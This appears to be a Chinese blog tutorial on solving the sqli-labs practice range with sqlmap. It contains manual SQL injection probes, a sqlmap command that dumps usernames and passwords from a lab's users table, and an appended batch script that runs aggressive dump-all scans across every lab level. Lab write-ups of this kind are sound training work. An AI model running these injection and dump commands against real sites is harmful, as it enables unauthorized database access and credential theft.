sqlmap解决sqli靶场题目

sqli靶场中前两关手注算是比较简单的,但之后的报错注入以及盲注需要我们不会脚本的费很大的力气,而kali上的一个工具恰恰可以通过简单的命令将靶场中的信息扫出来

注意:许多ctf题目的sql注入是无法扫出来的,还是需要学习手注以及用bp抓包进行爆破,在此分享只是一种方法,并不代表所有题目均可,认真学习基础知识才是硬本事。

sqli-lab less5为例

首先我们先判断注入类型

当我们输入

1.?id=1 and 1=2 时正常回显

2.?id=1 and 1=2' 时回显报错

3.?id=1 and 1=2'--+时正常回显

那么这道题就是字符型单引号闭合

那么我们直接?id=1'就可以开始进行sqlmap扫描

首先说一下sqlmap的基本用法

1.sqlmap -h 可以查看所有sqlmap功能以及用法

2.sqlmap -u 后接需要扫描的url

3.sqlmap -u URL  --current-db  可以显示你当前扫描的url中所使用的数据库

4.-D db 意思是在db这个数据库中进行扫描

   -T tb 意思是在tb这个表中进行扫描

  -C col 意思是在col这个字段进行扫描

以上三个按照先后层次顺序在后方接--tables、--columns 即可扫出所需内容

5.--dump 则是将扫出来的内容输出出来

下面开始进行操作

首先需要明确一点,这里的ip需要填写物理机连的网络的ip,而不是127.0.0.1,否则无法上网

然后我们就进入了扫描

通过--current-db我们可以看到现在正在使用的数据库为‘security‘

 

 通过在security的数据库下,扫出了所有的表格

可以看到在users这个表格中扫出了所有的列,而id、password、username就是我们需要的信息那么下一步就是输出这些信息

sqlmap -u 'http://192.168.0.93/sqli-labs/Less-5/?id=1' -C username,id,password -T users --dump

这个就是语句


 

这个就是输出出所有user的信息,关卡完成

今天的分享到此结束 

 

 

 

### 使用 `sqlmap` 攻破 SQLiLabs 靶场 #### 关于 SQLiLabs 的概述 SQLiLabs 是一个用于练习和学习 SQL 注入技术的 Web 应用程序集合。它提供了多个不同难度级别的实验环境,帮助安全研究人员理解和掌握各种类型的 SQL 注入漏洞。 #### 基本命令结构 对于大多数 SQLiLabs 实验室级别,可以使用如下基本形式来启动 `sqlmap` 工具: ```bash python sqlmap.py -u "目标URL" 参数列表... ``` 其中 `-u` 后面跟的是存在潜在 SQL 注入点的目标 URL 地址;而其他参数则取决于具体需求以及所要执行的任务类型[^1]。 #### 设置测试深度 (`--level`) 为了更全面地检测可能存在的注入点,在某些情况下需要提高扫描级别。默认设置为 1 ,可以通过指定更高的数值(如 2 或者更高)让工具尝试更多种类的数据输入方式来进行探测。例如: ```bash python sqlmap.py -u "http://example.com/vulnerable_page?id=1" --batch --dbs --level=3 ``` 这里设置了 `--level=3` 来增强对页面各个部分(包括 HTTP 请求头字段像 User-Agent 和 Referer 等)是否存在注入可能性进行全面检查[^2]。 #### 自动化选项 (`-o`, `--batch`) 为了让操作更加简便高效,还可以启用自动化功能。比如使用 `-o` 可以开启一系列优化措施加快处理速度;加上 `--batch` 则允许自动确认所有提示而不需人工干预,这对于批量测试非常有用[^4]。 #### 完整实例演示 (针对 Level 1 至 65) 考虑到 SQLiLabs 中各关卡的具体实现细节有所不同,下面给出一段通用脚本来应对大部分情况下的挑战: ```bash for level in {1..65}; do url="http://your-sqli-labs-server/less-${level}/?id=1" echo "[*] Testing Less-$level..." python sqlmap.py \ -u "$url" \ --batch \ --random-agent \ --level=3 \ --risk=3 \ --dbms=mysql \ --technique=BETQURP \ --threads=10 \ --dump-all done ``` 此脚本循环遍历从第 1 层到第 65 层的所有实验室案例,并应用了一系列推荐配置项以确保尽可能多地发现并利用任何可用的 SQL 注入缺陷。请注意替换 `"http://your-sqli-labs-server"` 为你实际部署 SQLiLabs 的服务器地址[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值